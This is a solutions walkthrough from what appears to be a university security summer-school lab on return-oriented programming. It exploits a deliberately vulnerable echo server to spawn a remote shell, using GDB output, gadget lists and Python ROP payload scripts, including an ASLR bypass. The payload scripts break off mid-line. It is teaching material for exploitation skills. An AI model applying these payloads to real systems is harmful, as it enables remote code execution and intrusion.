====== 0x0A. Return Oriented Programming (Solutions) ======
[[http://security.cs.pub.ro/summer-school/res/arc/11-return-oriented-programming-sol.zip|Solutions archive]]
===== Gadget Tut =====
Check the ''payload.py'' script in the ''gadget-tutorial/'' subfolder in the [[http://security.cs.pub.ro/summer-school/res/arc/11-return-oriented-programming-sol.zip|solutions archive]].
===== Echo Service =====
The log files created with [[http://man7.org/linux/man-pages/man1/script.1.html|script]] are {{:session:solution:echo_service.scr|a log file for the server side}} and {{:session:solution:client.scr|one for the client side}}; the roles are changed when doing ASLR-testing. You may use ''cat'' over the script file to print it.
By going through the ''echo_service.c'' file we see that in the ''echo_service()'' function we use ''read()'' for reading ''4096'' bytes when we only have ''1024'' available for a the ''buf'' buffer. We can use this to create a return-oriented programming (ROP) attack.
Let's first consider our steps.
- We will create a payload that overflows the ''buf'' buffer and rewrites the return address of the ''echo_service()'' function triggering the attack (the ROP chain).
- We will update the payload issue the following calls through the ROP chain, as also indicated in the task:
- ''dup2(sockfd, 1);''
- ''dup2(sockfd, 0);''
- ''%%system("/bin/sh");%%''
- We will start the server and then we will use ''netcat'' to send the payload to the server to trigger the attack.
We aim for the stack to be the one below:
0x00000000
...
start address of buf
...
+--------------------------------+
| dup2() address | <--- return address for echo_service()
+--------------------------------+
| pop_pop_ret gadget address |
+--------------------------------+
| 4 |
+--------------------------------+
| 1 |
+--------------------------------+
| dup2() address |
+--------------------------------+
| pop_pop_ret gadget address |
+--------------------------------+
| 4 |
+--------------------------------+
| 0 |
+--------------------------------+
| system() address |
+--------------------------------+
| junk |
+--------------------------------+
| "/bin/sh" address |
+--------------------------------+
...
0xFFFFFFFF
In the above figure we will overflow the ''buf'' buffer and overwrite the return address for the ''echo_service()'' function with the first part of the ROP chain: the address of the ''dup2()'' function. Once the ''dup2()'' function returns it will call a ROP gadget that pops two values: the ''dup2()'' function arguments (''4'' is ''sockfd'' and ''0'' and ''1'' are standard input and standard output file descriptors respectively). Then another ''dup2()'' function gets called and then ''%%system("/bin/sh")%%''. Because this needs the address of the ''%%"/bin/sh"%%'' string it could only happen on non-ASLR enabled system; but we'll use some tricks to trick it into running on an ASLR-enabled system as well.
We can use ''strace'' to check that ''4'' is indeed the socket file descriptor:
$ strace -f -e accept,read ./echo_service 7000
[ Process PID=20460 runs in 32 bit mode. ]
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
accept(3, {sa_family=AF_INET, sin_port=htons(39480), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
Process 20617 attached
[pid 20460] accept(3,
[pid 20617] read(4, "anaaremere\n", 4096) = 11
[pid 20617] +++ exited with 0 +++
<... accept resumed> 0xbffff348, [16]) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20617, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
accept(3,
This makes sense since ''0'', ''1'' and ''2'' are the standard file descriptors and ''3'' is used as the listening socket file descriptor. Then ''4'' is the connect socket returned by the ''accept()'' system call (the return value is ''4'') and then used by the ''read()'' system call (the first argument is ''4'').
On the client side, we had issued a ''netcat'' command to connect to the server and deliver the ''%%"anaaremere"%%'' string:
$ nc localhost 7000
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
anaaremere
Got it! Here it is:
anaaremere
We'll first get all the required data for creating the payload, then we'll create and run the non-ASLR enabled attack and then we'll use the ASLR-enabled attacks.
==== Getting Required Data ====
Let's first use GDB to gather all the required data for creating the payload. We need:
* the offset of the return address for the ''echo_service()'' function against the start of the ''buf'' buffer
* the address of the ''dup2()'' function inside PLT (in order to have an ASLR-independent address)
* the address of the ''system()'' function inside PLT
* the address of the ''%%"/bin/sh"%%'' string
* a ROP gadget that consists of two ''pop'' instructions followed by a ''ret''
The ''make_it_easy()'' function in our source code is used to help us get access to ''dup2()'' and ''system()'' addresses through PLT.
We'll use ''pattc'' and ''patto'' in GDB PEDA to find out the offset of the return address against the start of the ''buf'' buffer:
$ gdb -q ./echo_service
Reading symbols from ./echo_service...(no debugging symbols found)...done.
gdb-peda$ start 7000
[...]
gdb-peda$ pattc 1500
'AAA%AAsAABAA$AAnAACAA...
gdb-peda$ c
Continuing.
[New process 26535]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 26535]
[----------------------------------registers-----------------------------------]
EAX: 0xffffffff
EBX: 0xb7f9f000 --> 0x1a5da8
ECX: 0xffffffbc
EDX: 0x5dd
ESI: 0x0
EDI: 0x0
EBP: 0x41256e41 ('An%A')
ESP: 0xbffff240 ("BAn$AnnAnCAn...
[...]
Stopped reason: SIGSEGV
0x6e41736e in ?? ()
gdb-peda$ patto nsAn
nsAn found at offset: 1040
The pattern generated through GDB on the server side is fed to the server through the use of the ''netcat'' command
$ nc localhost 7000
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
AAA%AAsAABAA$AAnAACAA-...
The offset is ''1040'' bytes.
We'll use the ''info address'' command in GDB to find out the addresses of ''dup2()'' and ''system()'' inside PLT:
gdb-peda$ info address dup2@plt
Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging.
gdb-peda$ info address system@plt
Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.
The addresses are:
* ''0x80485f0'' for ''dup2()''
* ''0x8048670'' for ''system()''
We'll use ''searchmem'' to find out the address of the ''%%"/bin/sh"%%'' string inside the standard C library mappings (this only works on non-ASLR enabled systems):
gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f561a9 ("/bin/sh")
The address for ''%%"/bin/sh"%%'' is ''0xb7f561a9''.
We'll use ''dumprop'' to determine the address of a ROP gadget using two ''pop'' instructions followed by a ''ret'' instruction:
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: echo_service-rop.txt ...
0x8048906: ret
0x804877f: repz ret
0x80487ae: ret 0xeac1
0x8048799: leave; ret
0x8048b6f: pop ebp; ret
0x8048904: dec ecx; ret
0x8048e1c: inc ecx; ret
0x80485c9: pop ebx; ret
0x8048b7f: nop; repz ret
0x8048798: ror cl,1; ret
0x804877e: add dh,bl; ret
0x80487d5: ror cl,cl; ret
0x80487fb: leave; repz ret
0x8048761: sbb al,0x24; ret
0x8048e1b: adc al,0x41; ret
0x8048760: mov ebx,[esp]; ret
0x8048b7e: nop; nop; repz ret
0x8048797: call eax; leave; ret
0x80487d4: call edx; leave; ret
0x80487fa: add ecx,ecx; repz ret
0x8048b6e: pop edi; pop ebp; ret
0x804877d: ja 0x8048781; repz ret
0x80487b6: jne 0x80487ba; repz ret
0x8048796: or bh,bh; ror cl,1; ret
0x804875f: nop; mov ebx,[esp]; ret
--More--(25/147)q
The address of the gadget is ''0x8048b6e'': ''pop edi; pop ebp; ret''.
We'll use these data to construct the payload.
==== Creating the ROP Payload (non-ASLR) ====
Based on the above information we create the following Python file for printing out the payload:
#!/usr/bin/env python
import sys
import struct
# 0x8048b6e: pop edi; pop ebp; ret
pop_pop_ret = 0x8048b6e
# libc : 0xb7f561a9 ("/bin/sh")
bin_sh = 0xb7f561a9
# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.
system_plt = 0x8048670
# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging.
dup2_plt = 0x80485f0
# Offset from buffer start to function return address is 1040.
payload = 1040*"A"
# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1):
# * address of dup2()
# * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
# * dup2 arguments: sockfd (4) and standard output (1)
payload += struct.pack("
The payload creates a padding of ''1040'' characters and then creates the ROP chain as discussed above:
$ python payload-no-aslr.py | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
[...]
00000410: f085 0408 6e8b 0408 0400 0000 0000 0000 ....n...........
00000420: f085 0408 6e8b 0408 0400 0000 0100 0000 ....n...........
00000430: 7086 0408 0000 0000 a961 f5b7 p........a..
==== Testing the non-ASLR Payload ====
We run the payload on a non-ASLR system. We have deactivated ASLR and we check that:
$ ldd echo_service
linux-gate.so.1 (0xb7ffd000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0x41000000)
$ ldd echo_service
linux-gate.so.1 (0xb7ffd000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0x41000000)
$ ldd echo_service
linux-gate.so.1 (0xb7ffd000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0x41000000)
Let's first test the payload by running the server under GDB. We'll break after the ''read()'' overflow and at the end of the ''echo_service()'' function to do checks while running the payload and ''netcat'' on another console:
$ gdb -q ./echo_service
Reading symbols from ./echo_service...(no debugging symbols found)...done.
gdb-peda$ start 7001
[...]
gdb-peda$ set follow-fork-mode child
gdb-peda$ b echo_service
Breakpoint 2 at 0x8048857
gdb-peda$ c
[...]
Breakpoint 2, 0x08048857 in echo_service ()
gdb-peda$ pdis
Dump of assembler code for function echo_service:
0x0804884e <+0>: push ebp
0x0804884f <+1>: mov ebp,esp
0x08048851 <+3>: sub esp,0x428
=> 0x08048857 <+9>: mov DWORD PTR [esp+0x4],0x8048ba0
0x0804885f <+17>: mov eax,DWORD PTR [ebp+0x8]
0x08048862 <+20>: mov DWORD PTR [esp],eax
0x08048865 <+23>: call 0x8048630
0x0804886a <+28>: mov DWORD PTR [esp+0x4],0x8048bd0
0x08048872 <+36>: mov eax,DWORD PTR [ebp+0x8]
0x08048875 <+39>: mov DWORD PTR [esp],eax
0x08048878 <+42>: call 0x8048630
0x0804887d <+47>: mov DWORD PTR [esp+0x4],0x8048ba0
0x08048885 <+55>: mov eax,DWORD PTR [ebp+0x8]
0x08048888 <+58>: mov DWORD PTR [esp],eax
0x0804888b <+61>: call 0x8048630
0x08048890 <+66>: mov DWORD PTR [esp+0x4],0x8048bf0
0x08048898 <+74>: mov eax,DWORD PTR [ebp+0x8]
0x0804889b <+77>: mov DWORD PTR [esp],eax
0x0804889e <+80>: call 0x8048630
0x080488a3 <+85>: mov DWORD PTR [esp+0x4],0x8048c30
0x080488ab <+93>: mov eax,DWORD PTR [ebp+0x8]
0x080488ae <+96>: mov DWORD PTR [esp],eax
0x080488b1 <+99>: call 0x8048630
0x080488b6 <+104>: mov DWORD PTR [esp+0x8],0x1000
0x080488be <+112>: lea eax,[ebp-0x40c]
0x080488c4 <+118>: mov DWORD PTR [esp+0x4],eax
0x080488c8 <+122>: mov eax,DWORD PTR [ebp+0x8]
0x080488cb <+125>: mov DWORD PTR [esp],eax
0x080488ce <+128>: call 0x8048600
0x080488d3 <+133>: mov DWORD PTR [ebp-0xc],eax
0x080488d6 <+136>: mov DWORD PTR [esp+0x4],0x8048c7f
0x080488de <+144>: mov eax,DWORD PTR [ebp+0x8]
0x080488e1 <+147>: mov DWORD PTR [esp],eax
0x080488e4 <+150>: call 0x8048630
0x080488e9 <+155>: mov eax,DWORD PTR [ebp-0xc]
0x080488ec <+158>: mov DWORD PTR [esp+0x8],eax
0x080488f0 <+162>: lea eax,[ebp-0x40c]
0x080488f6 <+168>: mov DWORD PTR [esp+0x4],eax
0x080488fa <+172>: mov eax,DWORD PTR [ebp+0x8]
0x080488fd <+175>: mov DWORD PTR [esp],eax
0x08048900 <+178>: call 0x80486b0
0x08048905 <+183>: leave
0x08048906 <+184>: ret
End of assembler dump.
gdb-peda$ b *0x080488d3
Breakpoint 3 at 0x80488d3
gdb-peda$ b *0x08048906
Breakpoint 4 at 0x8048906
gdb-peda$ c
[...]
Breakpoint 3, 0x080488d3 in echo_service ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffffff
EBX: 0xb7f9f000 --> 0x1a5da8
ECX: 0xffffffbc
EDX: 0x43c
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff23c --> 0x80485f0 (: jmp DWORD PTR ds:0x804a010)
EIP: 0x8048906 (: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80488fd : mov DWORD PTR [esp],eax
0x8048900 : call 0x80486b0
0x8048905 : leave
=> 0x8048906 : ret
0x8048907 : push ebp
0x8048908 : mov ebp,esp
0x804890a : sub esp,0x18
0x804890d : mov eax,DWORD PTR [ebp+0x8]
[------------------------------------stack-------------------------------------]
0000| 0xbffff23c --> 0x80485f0 (: jmp DWORD PTR ds:0x804a010)
0004| 0xbffff240 --> 0x8048b6e (<__libc_csu_init+94>: pop edi)
0008| 0xbffff244 --> 0x4
0012| 0xbffff248 --> 0x0
0016| 0xbffff24c --> 0x80485f0 (: jmp DWORD PTR ds:0x804a010)
0020| 0xbffff250 --> 0x8048b6e (<__libc_csu_init+94>: pop edi)
0024| 0xbffff254 --> 0x4
0028| 0xbffff258 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 4, 0x08048906 in echo_service ()
gdb-peda$ context stack 11
[------------------------------------stack-------------------------------------]
0000| 0xbffff23c --> 0x80485f0 (: jmp DWORD PTR ds:0x804a010)
0004| 0xbffff240 --> 0x8048b6e (<__libc_csu_init+94>: pop edi)
0008| 0xbffff244 --> 0x4
0012| 0xbffff248 --> 0x0
0016| 0xbffff24c --> 0x80485f0 (: jmp DWORD PTR ds:0x804a010)
0020| 0xbffff250 --> 0x8048b6e (<__libc_csu_init+94>: pop edi)
0024| 0xbffff254 --> 0x4
0028| 0xbffff258 --> 0x1
0032| 0xbffff25c --> 0x8048670 (: jmp DWORD PTR ds:0x804a030)
0036| 0xbffff260 --> 0x0
0040| 0xbffff264 --> 0xb7f561a9 ("/bin/sh")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
gdb-peda$ c
Continuing.
[New process 17858]
process 17858 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 3.
Cannot access memory at address 0x80488d3
Cannot insert breakpoint 4.
Cannot access memory at address 0x8048906
On the client side we run ''netcat'':
$ (python payload-no-aslr.py; cat) | nc localhost 7001
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
[...]
We can see that the stack right before returning from the ''echo_service()'' function was similar to the stack figure above. All is OK.
Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment and ASLR is disabled.
--- on the server side ---
$ ./echo_service 7002
--- on the client side ---
$ (python payload-no-aslr.py; cat) | nc localhost 7002
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
ls
echo_service
echo_service-rop.txt
echo_service.c
payload-aslr-alt.py
payload-aslr.py
payload-no-aslr.py
peda-session-echo_service.txt
ps
PID TTY TIME CMD
14269 pts/3 00:00:00 echo_service
16413 pts/3 00:00:00 echo_service
18249 pts/3 00:00:00 bash
21341 pts/3 00:00:00 echo_service
21393 pts/3 00:00:00 echo_service
21394 pts/3 00:00:00 sh
21395 pts/3 00:00:00 sh
21470 pts/3 00:00:00 ps
26088 pts/3 00:00:00 echo_service
26535 pts/3 00:00:00 echo_service
Excellent! We have created a shell by calling ''%%system("/bin/sh")%%'' through ROP.
Let's try the same thing on an ASLR-enabled system:
--- server side ---
$ ldd echo_service
linux-gate.so.1 (0xf7772000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf758e000)
/lib/ld-linux.so.2 (0xf7775000)
$ ldd echo_service
linux-gate.so.1 (0xf778a000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75a6000)
/lib/ld-linux.so.2 (0xf778d000)
$ ./echo_service 7004
--- client side ---
$ (python payload-no-aslr.py; cat) | nc localhost 7004
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
ls
$ dmesg | tail -1
[425842.224264] echo_service[24545]: segfault at 0 ip (null) sp 00000000ffece254 error 14 in echo_service[8048000+1000]
It doesn't work due to the ''%%"/bin/sh%%'' string being placed differently into memory. We need something different. We need a way to store a ''%%"/bin/sh"%%'' string in a place that isn't influenced by ASLR. We show that in the next section.
==== Idea for Bypassing ASLR ====
The random placement of the ''%%"/bin/sh"%%'' string due to ASLR is problematic. What we would aim to do is write the string somewhere in memory at a fixed address.
Our idea is to use a ''read()'' call on the socket to read the ''%%"/bin/sh"%%'' string into a fixed address area. We will then use that address for the ''system()'' call. We can call ''read()'' as part of the ROP chain. We aim for the stack to be the one below:
0x00000000
...
start address of buf
...
+--------------------------------+
| dup2() address | <--- return address for echo_service()
+--------------------------------+
| pop_pop_ret gadget address |
+--------------------------------+
| 4 |
+--------------------------------+
| 1 |
+--------------------------------+
| dup2() address |
+--------------------------------+
| pop_pop_ret gadget address |
+--------------------------------+
| 4 |
+--------------------------------+
| 0 |
+--------------------------------+
| read() address |
+--------------------------------+
| pop_pop_pop_ret gadget addr |
+--------------------------------+
| 4 |
+--------------------------------+
| fixed writable address |
+--------------------------------+
| 8 |
+--------------------------------+
| system() address |
+--------------------------------+
| junk |
+--------------------------------+
| fixed writable address |
+--------------------------------+
...
0xFFFFFFFF
In the above figure we add the ''read()'' call using three parameters:
- the socket file descriptor (''4'')
- the fixed writable address where the ''%%"/bin/sh"%%'' string we provide will be stored
- the length of the message we will deliver (''%%"/bin/sh\0"%%'': we place a NUL-byte at the end)
We need an additional gadget that pops 3 times and the uses a ''ret'' instruction in order to pop the tree parameters of ''read()''.
We need the following in order to create the payload that gets us to the above stack configuration:
- the address of the ''read()'' address in PLT
- the address of a ROP gadget that uses 3 ''pop'' instructions followed by a ''ret'' instruction
- the fixed writable address we will use to store the ''%%"/bin/sh\0"%%'' string that will be fed through the socket
For the first two addresses we use GDB:
$ gdb -q ./echo_service
Reading symbols from ./echo_service...(no debugging symbols found)...done.
gdb-peda$ start 7006
[...]
gdb-peda$ info address read@plt
Symbol "read@plt" is at 0x8048600 in a file compiled without debugging.
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: echo_service-rop.txt ...
0x8048906: ret
0x804877f: repz ret
0x80487ae: ret 0xeac1
0x8048799: leave; ret
0x8048b6f: pop ebp; ret
0x8048904: dec ecx; ret
0x8048e1c: inc ecx; ret
0x80485c9: pop ebx; ret
0x8048b7f: nop; repz ret
0x8048798: ror cl,1; ret
0x804877e: add dh,bl; ret
0x80487d5: ror cl,cl; ret
0x80487fb: leave; repz ret
0x8048761: sbb al,0x24; ret
0x8048e1b: adc al,0x41; ret
0x8048760: mov ebx,[esp]; ret
0x8048b7e: nop; nop; repz ret
0x8048797: call eax; leave; ret
0x80487d4: call edx; leave; ret
0x80487fa: add ecx,ecx; repz ret
0x8048b6e: pop edi; pop ebp; ret
0x804877d: ja 0x8048781; repz ret
0x80487b6: jne 0x80487ba; repz ret
0x8048796: or bh,bh; ror cl,1; ret
0x804875f: nop; mov ebx,[esp]; ret
--More--(25/147)
0x8048b7d: nop; nop; nop; repz ret
0x80487d3: or bh,bh; ror cl,cl; ret
0x80485c6: add esp,0x8; pop ebx; ret
0x8048e1a: push cs; adc al,0x41; ret
0x8048849: hlt; call eax; leave; ret
0x80485c7: les ecx,[eax]; pop ebx; ret
0x80487f9: or [ecx],al; leave; repz ret
0x80487b5: clc; jne 0x80487ba; repz ret
0x8048b7c: nop; nop; nop; nop; repz ret
0x8048793: push 0xff0804a0; ror cl,1; ret
0x804875e: xchg ax,ax; mov ebx,[esp]; ret
0x8048b6d: pop esi; pop edi; pop ebp; ret
0x80487f7: mov al,ds:0xc9010804; repz ret
0x804877c: push es; ja 0x8048781; repz ret
0x8048779: or [ebx+0x27706f8],al; repz ret
0x80487d0: push 0xff0804a0; ror cl,cl; ret
0x80487f6: push 0x10804a0; leave; repz ret
0x8048795: add al,0x8; call eax; leave; ret
0x80487d1: mov al,ds:0xd2ff0804; leave; ret
0x8048794: mov al,ds:0xd0ff0804; leave; ret
0x80487d2: add al,0x8; call edx; leave; ret
0x80487f8: add al,0x8; add ecx,ecx; repz ret
0x8048b7b: nop; nop; nop; nop; nop; repz ret
0x8048848: inc ebp; hlt; call eax; leave; ret
0x80487b4: sar eax,1; jne 0x80487ba; repz ret
--More--(50/147)q
gdb-peda$
The address of ''read()'' in PLT is ''0x8048600'' The address of the ROP gadget is ''0x8048b6d'': ''pop esi; pop edi; pop ebp; ret''.
For the fixed writable address we inspect the executable using ''readelf'':
$ readelf -S echo_service
There are 30 section headers, starting at offset 0x11bc:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048174 000174 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048188 000188 000020 00 A 0 0 4
[ 3] .hash HASH 080481a8 0001a8 0000a8 04 A 5 0 4
[ 4] .gnu.hash GNU_HASH 08048250 000250 00002c 04 A 5 0 4
[ 5] .dynsym DYNSYM 0804827c 00027c 000170 10 A 6 1 4
[ 6] .dynstr STRTAB 080483ec 0003ec 0000bb 00 A 0 0 1
[ 7] .gnu.version VERSYM 080484a8 0004a8 00002e 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 080484d8 0004d8 000020 00 A 6 1 4
[ 9] .rel.dyn REL 080484f8 0004f8 000008 08 A 5 0 4
[10] .rel.plt REL 08048500 000500 0000a8 08 A 5 12 4
[11] .init PROGBITS 080485a8 0005a8 000023 00 AX 0 0 4
[12] .plt PROGBITS 080485d0 0005d0 000160 04 AX 0 0 16
[13] .text PROGBITS 08048730 000730 000454 00 AX 0 0 16
[14] .fini PROGBITS 08048b84 000b84 000014 00 AX 0 0 4
[15] .rodata PROGBITS 08048b98 000b98 00015c 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 08048cf4 000cf4 000044 00 A 0 0 4
[17] .eh_frame PROGBITS 08048d38 000d38 00010c 00 A 0 0 4
[18] .init_array INIT_ARRAY 08049f00 000f00 000004 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 08049f04 000f04 000004 00 WA 0 0 4
[20] .jcr PROGBITS 08049f08 000f08 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 08049f0c 000f0c 0000f0 08 WA 6 0 4
[22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 000060 04 WA 0 0 4
[24] .data PROGBITS 0804a060 001060 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a068 001068 000004 00 WA 0 0 4
[26] .comment PROGBITS 00000000 001068 000060 01 MS 0 0 1
[27] .shstrtab STRTAB 00000000 0010c8 0000f3 00 0 0 1
[28] .symtab SYMTAB 00000000 00166c 0004c0 10 29 33 4
[29] .strtab STRTAB 00000000 001b2c 0002eb 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
We see that we have access to the ''.data'' section with a length of ''8'' bytes, exactly what we need. We'll use that address (''0x0804a060'') as a fixed writable address where to store the ''%%"/bin/sh\0"%%'' string that will be fed through the socket.
This is all the information we need to construct the payload.
==== Creating the ROP Payload (ASLR) ====
Based on the above information we create the following Python file for printing out the payload:
#!/usr/bin/env python
import sys
import struct
# 0x8048b6e: pop edi; pop ebp; ret
pop_pop_ret = 0x8048b6e
# 0x8048b6d: pop esi; pop edi; pop ebp; ret
pop_pop_pop_ret = 0x8048b6d
# libc : 0xb7f561a9 ("/bin/sh")
bin_sh = 0xb7f561a9
# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.
system_plt = 0x8048670
# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging.
dup2_plt = 0x80485f0
# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging.
read_plt = 0x8048600
# [24] .data PROGBITS 0804a060
data = 0x0804a060
# Offset from buffer start to function return address is 1040.
payload = 1040*"A"
# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1):
# * address of dup2()
# * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
# * dup2 arguments: sockfd (4) and standard output (1)
payload += struct.pack("
The payload creates a padding of ''1040'' characters and then creates the ROP chain as discussed above:
$ python payload-aslr.py | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
[...]
00000410: f085 0408 6e8b 0408 0400 0000 0000 0000 ....n...........
00000420: f085 0408 6e8b 0408 0400 0000 0100 0000 ....n...........
00000430: 0086 0408 6d8b 0408 0400 0000 60a0 0408 ....m.......`...
00000440: 0800 0000 7086 0408 0000 0000 60a0 0408 ....p.......`..
==== Testing the ASLR Payload ====
We run the payload on an ASLR-enabled system:
$ ldd echo_service
linux-gate.so.1 (0xf7733000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf754f000)
/lib/ld-linux.so.2 (0xf7736000)
$ ldd echo_service
linux-gate.so.1 (0xf775b000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7577000)
/lib/ld-linux.so.2 (0xf775e000)
Let's first test the payload by running the server under GDB. We'll break after the ''read()'' overflow and at the end of the ''echo_service()'' function to do checks while running the payload and ''netcat'' on another console:
--- server side ---
$ gdb -q ./echo_service
Reading symbols from ./echo_service...(no debugging symbols found)...done.
gdb-peda$ start 7008
[...]
gdb-peda$ b echo_service
Breakpoint 2 at 0x8048857
gdb-peda$ c
[...]
Breakpoint 2, 0x08048857 in echo_service ()
gdb-peda$ pdis
Dump of assembler code for function echo_service:
0x0804884e <+0>: push ebp
0x0804884f <+1>: mov ebp,esp
0x08048851 <+3>: sub esp,0x428
=> 0x08048857 <+9>: mov DWORD PTR [esp+0x4],0x8048ba0
0x0804885f <+17>: mov eax,DWORD PTR [ebp+0x8]
0x08048862 <+20>: mov DWORD PTR [esp],eax
0x08048865 <+23>: call 0x8048630
0x0804886a <+28>: mov DWORD PTR [esp+0x4],0x8048bd0
0x08048872 <+36>: mov eax,DWORD PTR [ebp+0x8]
0x08048875 <+39>: mov DWORD PTR [esp],eax
0x08048878 <+42>: call 0x8048630
0x0804887d <+47>: mov DWORD PTR [esp+0x4],0x8048ba0
0x08048885 <+55>: mov eax,DWORD PTR [ebp+0x8]
0x08048888 <+58>: mov DWORD PTR [esp],eax
0x0804888b <+61>: call 0x8048630
0x08048890 <+66>: mov DWORD PTR [esp+0x4],0x8048bf0
0x08048898 <+74>: mov eax,DWORD PTR [ebp+0x8]
0x0804889b <+77>: mov DWORD PTR [esp],eax
0x0804889e <+80>: call 0x8048630
0x080488a3 <+85>: mov DWORD PTR [esp+0x4],0x8048c30
0x080488ab <+93>: mov eax,DWORD PTR [ebp+0x8]
0x080488ae <+96>: mov DWORD PTR [esp],eax
0x080488b1 <+99>: call 0x8048630
0x080488b6 <+104>: mov DWORD PTR [esp+0x8],0x1000
0x080488be <+112>: lea eax,[ebp-0x40c]
0x080488c4 <+118>: mov DWORD PTR [esp+0x4],eax
0x080488c8 <+122>: mov eax,DWORD PTR [ebp+0x8]
0x080488cb <+125>: mov DWORD PTR [esp],eax
0x080488ce <+128>: call 0x8048600
0x080488d3 <+133>: mov DWORD PTR [ebp-0xc],eax
0x080488d6 <+136>: mov DWORD PTR [esp+0x4],0x8048c7f
0x080488de <+144>: mov eax,DWORD PTR [ebp+0x8]
0x080488e1 <+147>: mov DWORD PTR [esp],eax
0x080488e4 <+150>: call 0x8048630
0x080488e9 <+155>: mov eax,DWORD PTR [ebp-0xc]
0x080488ec <+158>: mov DWORD PTR [esp+0x8],eax
0x080488f0 <+162>: lea eax,[ebp-0x40c]
0x080488f6 <+168>: mov DWORD PTR [esp+0x4],eax
0x080488fa <+172>: mov eax,DWORD PTR [ebp+0x8]
0x080488fd <+175>: mov DWORD PTR [esp],eax
0x08048900 <+178>: call 0x80486b0
0x08048905 <+183>: leave
0x08048906 <+184>: ret
End of assembler dump.
gdb-peda$ b *0x080488d3
Breakpoint 3 at 0x80488d3
gdb-peda$ b *0x08048906
Breakpoint 4 at 0x8048906
gdb-peda$ c
[...]
Breakpoint 3, 0x080488d3 in echo_service ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffffff
EBX: 0xf7f9d000 --> 0x1a5da8
ECX: 0xffffffbc
EDX: 0x450
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd28c --> 0x80485f0 (: jmp DWORD PTR ds:0x804a010)
EIP: 0x8048906 (: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80488fd : mov DWORD PTR [esp],eax
0x8048900 : call 0x80486b0
0x8048905 : leave
=> 0x8048906 : ret
0x8048907 : push ebp
0x8048908 : mov ebp,esp
0x804890a : sub esp,0x18
0x804890d : mov eax,DWORD PTR [ebp+0x8]
[------------------------------------stack-------------------------------------]
